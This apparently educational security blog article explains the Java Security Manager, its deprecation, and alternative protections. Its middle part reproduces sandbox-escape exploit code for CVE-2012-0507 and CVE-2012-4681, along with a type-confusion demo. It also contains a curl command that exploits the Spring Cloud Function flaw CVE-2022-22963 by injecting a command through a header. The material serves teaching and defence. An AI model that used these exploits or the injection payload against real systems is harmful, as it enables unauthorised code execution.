Cybercrime is growing at a dizzying pace and projected to inflict $9.5 trillion USD global cost in 2024. Java-based applications, often targeted by hackers due to their known and zero-day vulnerabilities, are at high risk. The increased reliance of many Java applications on open source frameworks such as Spring
Cybercrime is growing at a dizzying pace and projected to inflict $9.5 trillion USD global cost in 2024. Java-based applications, often targeted by hackers due to their known and zero-day vulnerabilities, are at high risk.
The increased reliance of many Java applications on open source frameworks such as Spring Boot and Quarkus has amplified the susceptibility to software supply chain vulnerabilities. In 2023, Black Duck Audit Services conducted 1,703 audits across various industry sectors, revealing that 96% of the examined projects used open-source components. On average, each project incorporated 595 open-source components as dependencies.
The Java Virtual Machine or JVM is an example of application-level virtualization. Unlike other hardware-level virtualization products such as VirtualBox, the JVM operates at the application level. This allows developers to write code once and then run it on any system.
Java abstracts the underlying machine from programs and prohibits direct access to pointers or the CPU, and avoids string-related issues common in the C language. It also implements multiple runtime checks on array accesses and guards against type confusion.
Java provides various low-level APIs for system operations like socket creation, file system access, and process creation. However, these capabilities shouldn't be available to untrusted code. Even with trusted code, the complexity introduced by modern frameworks can lead to unintended application behaviors. This risk is exacerbated when relying on open-source projects, as they allow attackers to craft inputs that can manipulate your application, deviating it completely from what it was designed for. Notable examples include Log4Shell and Spring4Shell.
The Java platform already has a sandboxing solution that has been around for a while. It was initially developed for applets (now unsupported) fetched to safely execute web-downloaded code. The Java sandbox, also known as the Java Security Manager (JSM), confines an application, and grants only essential permissions. However, as we will explore in this article, Java sandboxing is bypassable, and its complexity makes it less effective against current cyber threats. These shortcomings are the primary reasons for its deprecation and planned removal.
In this article, we will look at how the JSM works, how it can bypassed, and what are some alternatives.
Applications running in the user space do not have direct access to critical resources such as hardware or network devices. By default, user space applications are not trusted, and even the kernel does not inherently trust them. To address this, the kernel provides certain APIs, known as syscalls, which allow user space applications to perform privileged operations like loading data into memory or performing I/O.
However, establishing a direct link between user space applications and the kernel poses a signicant risk. Not only can applications potentially misuse critical syscalls, but the kernel itself may also have vulnerabilities. To mitigate these risks, it is crucial to ensure that only necessary syscalls are made available to applications. This helps to minimize the potential attack surface.
This is where sandboxing comes into play. Sandboxing involves restricting the capabilities and actions of an application. The primary goal of sandboxing is to create a controlled and restricted environment for executing code. There are multiple mechanisms available for sandboxing, including virtualization and native sandboxing techniques.
Virtualization technologies, including Kernel-based Virtual Machine (KVM), enable the execution of applications within isolated virtual environments, with limited access to the underlying system resources. Kata Containers is an open-source container runtime designed to create lightweight VMs (supported hypervisors are listed here).It integrate seamlessly into the existing container ecosystem, enhancing isolation and security without sacrificing the efficiency and usability of containers.
Azure had introduced preview support for pod sandboxing in Azure Kubernetes Service (AKS) across all Azure regions. Azure utilizes Kata Containers, which feature a lightweight VM and mini-kernel for each container, to achieve effective isolation.
Native (os-provided) sandboxing methods like SELinux (Security-Enhanced Linux) and Seccomp-BPF, enforce strict policies to restrict an application’s access to resources and system calls.
There are also open source sandboxing projects such as gVisor. Instead of running containers on the shared kernel directly, gVisor runs a container on a dedicated user-space kernel, called Sentry, which reimplements the majority of system calls and processes them on behalf of the host kernel. This approach improves security by isolating the container from the host, preventing any malicious code from accessing the host system reducing the risk of privilege escalation attacks.
Google Kubernetes Engine (GKE) supports gVisor in dedicated node pools as a standard feature. Enabling GKE Sandbox for a node pool results in the creation of a sandbox for every pod operating on a node belonging to that pool.
The Java security model is code-centric, meaning permissions are granted based on the code's characteristics, such as its source (e.g., local file system or downloaded from the Internet) and its signer. As explained earlier, sandboxing refers to a confined environment where typically untrusted code can run with limited permissions. Back in the days, JSM was typically used to run untrusted applets got from the network (which are no longer supported).
There are other security features offered by the JVM that will not be covered in this post (out of scope).
Java has a built-in sandbox mechanism known as the Java Security Manager or JSM, which has been around since JDK 1.0.
The JSM restricts Java applications' access to sensitive lower-level APIs. When activated, it significantly limits potentially harmful actions, such as opening files, creating sockets, or initiating new processes. This illustrated below.
By default, when enabled, the JSM imposes strict restrictions in a given VM
environment, often rendering the system overly constrained. Explicit permissions are usually necessary.
To get a reference to the SecurityManager, one uses System.getSecurityManager().
The reference is stored in a private static security field, and even with Reflection cannot be obtained. In fact, for security reasons, there are some blacklisted fields that are not accessible through the Reflection API, and security field is one of them.
When a SecurityManager is set to null, it means there would be no security checks. Attackers would love to find gadgets to set the JSM, as setting it to null disable the java sandbox.
To determine if a method has the necessary permissions, the SecurityManager delegates to the AccessController.
The AccessController walks through the protection domains of all the callers on the stack. This is illustrated in the code snippet below. AccessControlContext (context below) wraps the protection domains of all the callers on the stack, if there is one ProtectionDomain where the rights this protection domain is granted does not implies the permissions surfaced, the AccessControlException is thrown.
A Policy essentially dictates what actions a code is allowed to do. For instance, a security policy containing the RuntimePermission(setSecurityManager) permission allows the corresponding Java code to replace an existing SecurityManager.
Specifically, a policy consists of the codebase from where the code was fetched and the signer or principal present within the executing threads along with a set of access permissions. More specifically, it follows the following template:
grant [SignedBy "signer_names"] [,CodeBase "URL"]
[,Principal [principal_class_name] "principal_name"] {
permission permission_class_name ["target_name" ]
[,"action"];
...
};
For example, the policy below specifies that code from /home/admin, signed by mouad, is allowed read access to the file /tmp/kafka.
grant signedby mouad , codeBase "file:/home/admin" {
permission java.io.FilePermission "/tmp/kafka", "read";
};
Security policies are based on whitelists that allow actions and not blacklists that deny them (grant not deny).
The default policy can be found at : $JAVA_HOME/lib/security/java.policy.
Permissions represent a range of potential sensitive operations that can be performed on system resources. For instance, in the case of file access with FilePermission, the target might be a specific directory like '/home/path', and the allowed action could include 'read' or 'write'. Before an action is executed, the JSM verifies through the AccessController whether the running code (and thus the whole stack frames) has the necessary permission for the specified resource.
Java permissions are instances of java.security.Permission class or its subclasses. The list can be found at: https://docs.oracle.com/en/java/javase/17/security/permissions-jdk1.html.
There is one permission, that gives you super power, the AllPermission. As stated by the java doc:
Granting AllPermission should be done with extreme care, as it implies all other permissions. Thus, it grants code the ability to run with security disabled. Extreme caution should be taken before granting such a permission to code. This permission should be used only during testing, or in extremely rare cases where an application or applet is completely trusted and adding the necessary permissions to the policy is prohibitively cumbersome.
A code source consists of the location of the code (URL ) the code is coming from and a reference to the certificate chains used for digitally signing the code. Each grant entry in a policy file fundamentally comprises a CodeSource along with its associated permissions.
Each class loaded into the JVM is defined within a Protection Domain, which denotes the permissions granted to this specific class.
Protection Domain segments various parts of a program into different security levels. It integrates a CodeSource, which refers to the origin of the code, with the specific permissions that are assigned to that code based on the active security policy.
This means that classes which are digitally signed with the same key and sourced from the same URL are grouped into the same protection domain.
Each class is exclusively associated with one protection domain. However, if classes have identical permissions but originate from different CodeSources, they are categorized into separate protection domains.
Access control is a fundamental concept in computer security that refers to the ability to restrict access to system or resource to only authorized users, programs, or processes. This is achieved by granting or denying certain permissions based on a pre-established security model. The goal is to ensure that only those who have a legitimate need to access the resource can do so, while preventing unauthorized access and potential security breaches.
The java.security.AccessController is a crucial component in Java's security framework, especially when determining whether a sensitive operation on a resource is permissible. Typically, the JSM, defers to the AccessController for such decisions.
For instance, the method SecurityManager#checkRead relies on the AccessController to verify permissions (AccessController.checkPermission).The listing below illustrates this process:
SecurityManager security = System.getSecurityManager();
if (security != null) {
security.checkRead(name);
}
...
public void checkRead(String file) {
checkPermission(new FilePermission(file,
SecurityConstants.FILE_READ_ACTION));
}
...
public void checkPermission(Permission perm) {
java.security.AccessController.checkPermission(perm);
}
The AccessController returns silently if the specified permission is granted. It examines the entire history of callers in the current thread. All methods that have been called since main() in the stack trace are checked, including parent threads, ensuring they belong to a protection domain with the required permission. If the permission is not granted, it throws a java.security.AccessControlException.
A critical security concern arises when dealing with privileged (class Foo) and unprivileged (class Bar) classes. The question is how to prevent unprivileged class Bar from manipulating privileged class Foo to perform privileged actions on its behalf. The safeguard here is that the effective permissions of an executing thread are the intersection of all permissions from the call stack (least common denominator). For a sensitive operation to proceed, every method in the call stack must have the necessary permission. However, this changes when AccessController.doPrivileged is used. An example is shown below:
AccessController.doPrivileged(new PrivilegedAction<Void>() {
public Void run() {
System.loadLibrary("...");
return null;
}
});
AccessController.doPrivileged is used to ignore the rest of the call stack beyond the current method (the JVM will recognise the special stack frame), as if it were not called by unprivileged code. It does check the immediate caller but no further in the stack (stack frames are checked until the privileged frame is reached in this case and not the end of the stack, thus you basically giving the caller's protection domain permissions implicitly to stack frames down the stack and not to the code you are calling, if the code you are calling does not have enough permissions for whatever privileged action you need to run, it will fail). This is illustrated below.
Recently, it was decided to remove and deprecate the JSM due to its underuse and ineffectiveness in protecting against current vulnerabilities and threats [Security and Sandboxing Post SecurityManager , JEP 411].
The JSM was originally developed to run untrusted code (applets) obtained from remote networks (which are not longer supported). However, as seen with incidents like Log4Shell and Spring4Shell, the risks often arise from trusted code that may contain serious or unintentional flaws (the JSM is not supply chain aware). This issue is partly due to the fact that in the early days, the Java API was not as extensive, we didn't have all the magic that modern Java frameworks like Spring Boot ships.
While the JSM represents a good solution to mitigate manipulated application from doing harm to the host, it is bypassable; as any other security solution and it is not recommended to use it as a sandbox to run untrusted code.
There are different ways that one can bypass a configured JSM:
In the following sections, we discuss some vulnerabilities in more detail, allowing attackers to break out of the sandbox.
Type confusion vulnerability in java refers to a vulnerability where one trick the JVM about the type of objects (the type reference and the actual instance type) and gets the possibility to cast one java type to another unrelated type, thus violating the java type casting rule.
A successful type confusion attack enables the attacker to access and modify private, protected, and final fields, and to bypass the Java sandbox.
The type safety is supposed to never happen in the java platform. The bytecode verifier enforce type safety and vulnerabilities within the bytecode verifier could lead to java sandbox escape. Defects that existed in the java bytecode verifier has probably been all fixed, however, as we will discuss later, there are some APIs that can be used to mess with the JVM.
Consider the class below:
public class A {
private final String secret = "this is private and should not be accessed";
....
}
Now suppose an attacker wants to access the private secret above. One possible type confusion attack is shadowing type, it says look, let's create another class, sharing similar memory layout to a target type, but expose some critical fields by shadowing the corresponding private fields with public fields, something like:
public class ShadowedA {
public String secret;
public String getSecret() {
return secret;
}
}
Now you exploit a type confusion defect where the JVM thinks that it is refereeing a ShadowA object instance while in reality it is a A instance. An example is shown below:
public class UnsafeTypeConfusion {
static class ShadowAWrapper {
// the goal is to make the JVM thinks that we are operating on ShadowedA while in reality it is A, then use ShadowedA to access variable of A
private ShadowedA value;
public ShadowedA getValue() {
return value;
}
public void setValue(ShadowedA value) {
this.value = value;
}
}
public static void main(String[] args) throws Exception {
ShadowAWrapper wrapper = new ShadowAWrapper();
ShadowedA shadowedA = new ShadowedA();
wrapper.setValue(shadowedA);
A a = new A();
System.out.println("ShadowAWrapper value type before confusion: " + wrapper.value.getClass().getName());
// ok now suppose the code below is equivalent to a vulnerability in some project
Field f = Unsafe.class.getDeclaredField("theUnsafe");
f.setAccessible(true);
Unsafe unsafe = (Unsafe) f.get(null);
long valueOffset = unsafe.objectFieldOffset(ShadowAWrapper.class.getDeclaredField("value"));
unsafe.putObject(wrapper, valueOffset, a);
// Shows A and not ShadowedA
System.out.println("ShadowAWrapper value type after type confusion: " + wrapper.value.getClass().getName());
// secret is normally not accessible, but we use the type confusion to get it
System.out.println("secret: " + wrapper.value.secret);
}
}
The output from executing the above code is shown below. It demonstrates how the type safety guaranteed by the Java platform can be circumvented, allowing access to a private field named secret via another type thanks to the Unsafe API. The intent here is to exploit vulnerabilities in the JVM or other projects that utilize this API.
That being said how one then can disable the security manager and wipe out the java sandbox using type confusion vulnerability ?
ClassLoader type is a popular target for type confusion. The method ClassLoader.defineClass, which is protected and accessible by subclasses, can be utilized to define classes from a byte array with arbitrary privileges. If untrusted code can reach it, then escaping the Java sandbox, essentially disabling the Java Security Manager, is trival.
However, you can not create a Classloader instances (ClassLoader is an abstract class) nor subclasses from untrusted code, you need a specific permission.
However, untrusted code can access the ClassLoader using ClassLoader cl = getClass().getClassLoader(). Specifically, an attacker can create a subclass of ClassLoader, named HelpClassLoader, with a static method that accepts an argument of the HelpClassLoader type and calls defineClass. By exploiting a type confusion vulnerability, it is possible to trick one of the available ClassLoaders into treating it as a HelpClassLoader and then invoke the static method on it ( Heap Pollution). This approach enables the loading of a class with AllPermission, which, in turn, can disable the security manager, effectively bypassing the sandbox.
An example is shown below. The AttackerClass typically disables the security manager once initialised/constructor invoked because now it has all the permissions to do so.
public class HelpClassLoader extends ClassLoader implements
Serializable {
public static void doWork(Help h) throws Throwable {
byte[] bytes = BypassExploit.getDefaultHelper();
URL url = new URL("file:///");
Certificate[] certs = new Certificate[0];
Permissions perm = new Permissions();
perm.add(new AllPermission());
ProtectionDomain protectionDomain = new ProtectionDomain(
new CodeSource(url, certs), perm);
Class clazz = h.defineClass("AttackerClass", bytes, 0,
bytes.length, protectionDomain);
clazz.newInstance();
}
}
....
Class AttackerClass {
public AttackerClass() {
System.setSecurityManager(null);
}
}
CVE-2012-0507 is a prime example of a type confusion vulnerability.
AtomicReferenceArray Class is an array of object references in which elements may be updated atomically.
import sun.misc.Unsafe;
public class AtomicReferenceArray<E> implements java.io.Serializable {
private static final Unsafe unsafe = Unsafe.getUnsafe();
private final Object[] array;
public AtomicReferenceArray(E[] array) {
// Visibility guaranteed by final field guarantees
this.array = array.clone();
}
public final void set(int i, E newValue) {
unsafe.putObjectVolatile(array, checkedByteOffset(i),
newValue);
}
As shown above, in order to set a new value, it uses unsafe API without checking whether the argument types match. sun.misc.Unsafe as you can understand from its name, is an unsafe class, which means it is doing things that are not safe and should be careful used (or not be used at all).
Ok this means that one can put a ClassLoader into an AtomicReferenceArray and pull out a HelpClassLoader object discussed earlier. However, the array field is private, how can be access it ? One can create a data structe as below, where aobj[1].array == aobj[0], this means the private array is now accessible.
To construct such a data structure, one can develop bytecode that leads to this structure and utilize Java deserialization to convert the stream into this object. AtomicReferenceArray is serializable, and the Java deserialization protocol recognizes if the same object is serialized more than once. The following exploit demonstrates how deserializing the stream and exploiting a type confusion vulnerability can be used to bypass the sandbox. (exploit code can be found at https://github.com/wchen-r7/metasploit-framework/blob/master/external/source/exploits/CVE-2012-0507/msf/x/Exploit.java).
public void disableSecurity() throws Exception {
byte[] bytes = hex2Byte( RiggedARAByteArray);
ObjectInputStream objectinputstream
= new ObjectInputStream(new ByteArrayInputStream( bytes));
Object aobj[] = (Object[]) objectinputstream.readObject();
HelpClassLoader ahelp[] = (HelpClassLoader[]) aobj[0];
AtomicReferenceArray atomicReferenceArray
= (AtomicReferenceArray)aobj[1];
ClassLoader classLoader = getClass().getClassLoader();
atomicReferenceArray.set(0, classLoader);
Help.doWork(ahelp[0]);
}
In summary, while the bytecode verifier statically analyse the bytecode for type safety, the usage of sun.misc.Unsafe operations without checking the actual type before setting the new value leads to a type confusion vulnerability. An attacker could craft an object that once deserialised on the victim end could alter the securtiy manager and disable the java sandbox. The vulnerability CVE-2017-3272 is very similar where again no enough checks were made before using Unsafe#putObjectVolatile.
Confused deputy attack is a privilege escalation attack where a program is tricked by another less privileged program to perform an operation on his behalf. In java, specifically, when the JSM is enabled, if a system classs defines a public method and within this public method it uses a privileged context (doPrivileged) + Reflection or unsafe operations, attackers can use it to wipe out the java sandbox.
One method attackers use to bypass Java sandboxing is by exploiting zero-day vulnerabilities in the JRE. For instance, in 2012, a vulnerability (VU#636312) affecting both Oracle JRE 1.7 and OpenJDK JRE 1.7, allowed attackers to execute arbitrary code due to improper usage of privileged blocks, specifically unsafe use of doPrivileged.
The vulnerability involved the sun.awt.SunToolkit class, which is normally restricted.
This class could be accessed indirectly through another class, java.beans.Expression, using a public method execute. This constitutes the "confused deputy" problem (I will refer to this as Step 1).
Expression expr0 = new Expression(Class.class, "forName",
new Object[] {"sun.awt.SunToolkit"});
Class sunToolkit = (Class)expr.execute().getValue();
The getField() method in sun.awt.SunToolkit was then used to gain access to a system gadget Field (java.beans.Statement.acc)
which will be used for setting the permissions (Step 2).
Expression expr1 = new Expression(sunToolkit, "getField",
new Object[] {Statement.class, "acc"});
Field acc = expr1.execute().getValue();
The getField() method employs doPrivileged() to retrieve and set the requested field as accessible.
public static Field getField(final Class klass,
final String fieldName) {
return AccessController.doPrivileged(
new PrivilgedAction<Field>() {
public Field run() {
...
Field field = klass.getDeclaredField(fieldName);
...
field.setAccessible(true);
return field;
...
Consequently, an attacker could define their own AccessControlContext with desired permissions, such as AllPermission (Step 3).
Permissions permissions = new Permissions();
permissions.add(new AllPermission());
ProtectionDomain pd = new ProtectionDomain(new CodeSource(
new URL("file:///"), new Certificate[0]), permissions);
AccessControlContext newAcc =
AccessControlContext(new ProtectionDomain[] {pd});
This allowed the use of the gadget java.beans.Statement (after setting the access controller context) to set the SecurityManager to null, effectively bypassing security checks (Step 4).
Statement stmt = new Statement(System.class, "setSecurityManager",
new Object[1]); // arguments[0] = null
acc.set(stmt, newAcc);
stmt.execute();
If we resume, java.beans.Statement class can execute arbitrary code using the permissions defined in the AccessControllerContext field acc. The field is private and can not be modified directly. This is where sun.awt.SunToolKit turns out to be very helpful as it’s getField method uses privileged context to set an attacker controlled field within a given instance, all this from an untrusted code (the system class does the work for us). The vulnerability was actively exploited in the wild, and exploit code has been made publicly available (e.g https://github.com/wchen-r7/metasploit-framework/blob/master/external/source/exploits/CVE-2012-4681/Exploit.java). It was fixed in Java 7 update 7.
Credits to: https://www.exploit-db.com/exploits/45517.
Step 1: Get sun.awt.SunToolkit Class, Expression is our first gadget
Expression expr0 = new Expression(Class.class, "forName",
new Object[] {"sun.awt.SunToolkit"});
Class sunToolkit = (Class)expr.execute().getValue();
-----------------------------------------------------------
Step 2: Get Field Statement.acc, getField is our second gadget that gets us the AccessControlContext associated to Statement class, which represent arbitrary method calls. Statement.execute is performed using acc as context
Expression expr1 = new Expression(sunToolkit, "getField",
new Object[] {Statement.class, "acc"});
Field acc = expr1.execute().getValue();
----------------------------| SunToolkit.java |---------------------------
public static Field getField(final Class klass,
final String fieldName) {
return AccessController.doPrivileged(
new PrivilgedAction<Field>() {
public Field run() {
...
Field field = klass.getDeclaredField(fieldName);
...
field.setAccessible(true);
return field;
...
---------------------------------------------------------------------------
Step 3: Define AccessControlContext with AllPermission
Permissions permissions = new Permissions();
permissions.add(new AllPermission());
ProtectionDomain pd = new ProtectionDomain(new CodeSource(
new URL("file:///"), new Certificate[0]), permissions);
AccessControlContext newAcc =
AccessControlContext(new ProtectionDomain[] {pd});
--------------------------------------------------------------------------
Step 4: overwrite AccessControlContext and call stmt.execute() to actually perform the call to setSecurityManager(), call succeeds because Statement's AccessControlContext has been set below
Statement stmt = new Statement(System.class, "setSecurityManager",
new Object[1]);
acc.set(stmt, newAcc)
stmt.execute()
---------------------------------------------------------------------------
The JVM is a fortress, java applications are shipped with several gadgets that attackers can use to bypass imposed restrictions. I hope now you are convinced that relying solely on the JSM to protect your code is not sufficient.
If you are using the JSM and thinking about alternatives, you are not alone. Many open source and commercial softwares use the JSM, including Elasticsearch, Opensearch and Corda, an open source blockchain project.
Java does not plan to provide a replacement for JSM, which has caused frustration among some members of the community.
There is an ongoing discussions to deal with the ripping out of the JSM in Opensearch [https://github.com/opensearch-project/OpenSearch/issues/1687]. Same for Netty [https://github.com/netty/netty/issues/11332]. Spring Framework 6.x have deprecated the support for the JSM in [#26901, https://github.com/spring-projects/spring-framework/commit/cf2429b0f0ce2a5278bdc2556663caf6cf0b0cae].
In this section, we will take a vulnerable java application, specifically, we use CVE-2022-22963, where an attacker could manipulate headers and execute arbitrary code (RCE). Next, we run it inside a sandbox using JSM and RASP (in short for Runtime Application Self-Protection) to show their effectiveness. Finally, we discuss some alternatives. The code for the examples discussed below can be found and reproduced at https://github.com/mouadk/java-sandboxing.
CVE-2022-22963 is basically a vulnerability in spring cloud function where an attacker can manipulate one header and execute code of his choosing. For example sending the query below results on the calculator being opened; this is a silly example so you can imagine more serious scenarios. I will not enter into more details about this vulnerability as everything can be found on by book: https://www.deep-kondah.com/code-and-web-security/.
curl -X POST http://localhost:8080/iamvulnerable \
-H "spring.cloud.function.routing-expression: T(java.lang.Runtime).getRuntime().exec('open -a Calculator')"
Now let's define the following policy, and run the application with the JSM enabled.
As shown above, the exploit fails and the the JVM complains that there is no "java.io.FilePermission" "<<ALL FILES>>" "execute". But again, JSM can be bypassed.
RASP (in short for Runtime Application Self Protection) is a security technology, introduced by Gartner in 2012. Basically the idea to instrument most sensitive operations (sinks) though an agent and reject anything that is not explicitly allowed or may indicate an attack. If you want to learn more about RASP, you can have a look at one of my previous posts: https://www.deep-kondah.com/runtime-application-self-protection-rasp/.
In this PoC, I instrument java/lang/ProcessImpl#start (used to create new processes) using ASM. One could also use Byte Buddy (written on top of ASM) which is more user friendly. The agent is a PoC and there are more API’s to protect, the idea here to give you an overview of how RASP works and how it differs from/can be used as an alternative to the JSM.
Ok let's run the exploit against the application loaded with the agent.
As shown above the exploit fails. However, RASP can be bypassed, and I'm preparing an article that will soon be published. It explains how RASP can be circumvented and why you should not rely on it.
Java static or Ahead-of-Time (AOT) compilation (eg. GraalVM) is the process in which Java program bytecode is converted directly into native executable. Unlike the typical JVM execution model, which interprets or JIT-compiles bytecode at runtime, static (AOT) compilation produces a native binary executable directly from the bytecode. This results in a program that doesn’t require a JVM for execution and can start faster since there’s no runtime compilation overhead.
At its core, static compilation operates under the closed world assumption. This means that everything the program will need to execute is known and available during the compilation phase. If something isn’t known at this stage, it won’t appear during runtime. As a result, elements like the dynamic class loader and interpreter are not present, which means any classes or components introduced dynamically won’t be recognized or run in the produced artifact.
Consequently, native images enhance security and minimize the potential attack surface (as the trusted computing base is reduced), rendering attacks like the Log4Shell remote (arbitrary) malicious class loading inherently ineffective against them (closed-world assumption). GraalVM could (could and not is !) "be more secure" than using traditional JVM, but let's just not jump into this kind of conclusions.
Another good practice is to deploy produced GraalVM native built application on distroless container image (GraalVM support both static and mostly static images). Distroless images only include necessary artifacts to run the application and do not contain shells, package managers and other programs. While distroless images doesn't significantly reduce the attack surface (since the JVM still issues system calls), it does eliminate many unnecessary binaries, tools etc.
Seccomp is a Linux kernel feature that provides a way to restrict the set of system calls that a process can make. It allows a process to specify a filter for system calls, effectively reducing the kernel attack surface by limiting the available functionality.
System call filtering can be used to provide an additional layer of security to critical applications. For example, Opensearch uses system call filtering to block process execution (such as seccomp for Linux).This prevents the host machine from being compromised in case there's a bug in the JVM.
LSM (Linux Security Modules) is a framework that enables the Linux kernel to support multiple, independent security modules. It provides a standard interface for security modules to hook into various points in the kernel’s operation and enforce security policies.
LSM is designed to be flexible and allow for the development of new security modules, which can be used to implement a wide range of security policies and mechanisms. Some examples of security modules that can be used with LSM include SELinux and AppArmor.
However, os-level solutions often lack the detailed control needed to effectively help deal with supply chain vulnerabilities. For example, seccomp does not support dereferencing parameters and only support integer parameters due to TOCTOU vulnerabilities (thus lack deep argument filtering), while SELinux and AppArmor are system-specific and have a steep learning curve (especially SELinux).
Most current solutions are not supply chain aware, lacking visibility into application internals.
I will write soon an article discussing how to protect cloud workloads and run untrusted code (including Kata Containers, gVisor ect.) and do more research in this regard.
The Log4Shell vulnerability allowed attackers to dynamically load a malicous class, which could be used to access unencrypted sensitive data housed in the Java heap. Successful attack could lead to the extraction of private keys, rendering all communications between the server and client in plaintext for the attacker.
To counter such threats, confidential computing offers Trusted Execution Environments (TEEs), safeguarding confidential code, data, and operations. Intel's SGX is an example of this technology.
One interesting project I have come across, and which is worth looking into, is Teaclave Java TEE SDK (contributed recently to the Apache community). This project presents a novel effective method for Java-based confidential computing. It minimizes the Trusted Computing Base (TCB) and consequently reduces the attack surface. This is accomplished using GraalVM, which compiles the TCB into a native executable. This executable includes only the essential code (Static or AOT compilation), which is securely executed within hardware enclaves (protected area in physical memory) in the TEE, like Intel’s SGX. On the other hand, non-confidential code runs on a JVM/REE.
Teaclave Java TEE SDK (or Lejacon) uses demand-driven programming paradigm where code is scanned for @EnclaveService annotation, denoting a confidential service. Identified tasks are then separately compiled into Native Confidential Computing (NCC) services. The Java Native Interface (JNI) serves as the bridge between the JVM and the code executing in the TEE. This is illustrated below.
For more details you can have a look at [How to Ensure Java Application Security, Lejacon: A Lightweight and Efficient Approach to Java Confidential Computing on SGX].
Paschal C. Amusuo et al. recently introduced Next-JSM, a supply chain-aware permission manager operating at package-level granularity, thereby reducing the risk of zero-day vulnerabilities.
Specifically, Next-JSM enforces the principle of least privilege within an application’s dependencies to achieve a zero-trust environment. Bytecode instrumentation (ASM) was used to add hooks to sensitive, lower-level Java APIs.
Next-JSM addresses the current challenges in using open source projects. Often, a developer is unaware of the potential runtime behavior of a package (even with a Software Bill of Materials (SBOM)). This is due to the complexity and variability inherent in open source projects, a phenomenon the authors term dependency behavioral overreach.
Similar to the Java Security Manager, Next-JSM walks the stack at the point of invocation and ensure that each class’s package has appropriate permissions.
A sample permissions file is shown below:
Next-JSM is similar to RASP as it uses java instrumentation to add probes around sensitive java operations and enforce different permissions. However, Next-JSM is more supply chain-focused, operating at the package level rather than the application level. Additionally, generally RASP is designed to work with your application with minimal need for defining permissions.
In this post, we introduced the Java Security Manager (JSM), explained how it works, how it can be bypassed, and the reasons behind its planned removal. We discussed several alternatives, such as Runtime Application Self-Protection (RASP), system call filtering (e.g. seccomp), and Linux Security Modules (LSM) like SELinux and AppArmor. Yet, none of these solutions fully address supply chain-aware permission management. We finally explored Next-JSM, aimed at protecting applications from vulnerabilities in their dependent packages.
In conclusion, remember that every security solution can be bypassed; there is no ultimate safeguard. Before considering sandboxing your application, ensure first that you are using secure defaults.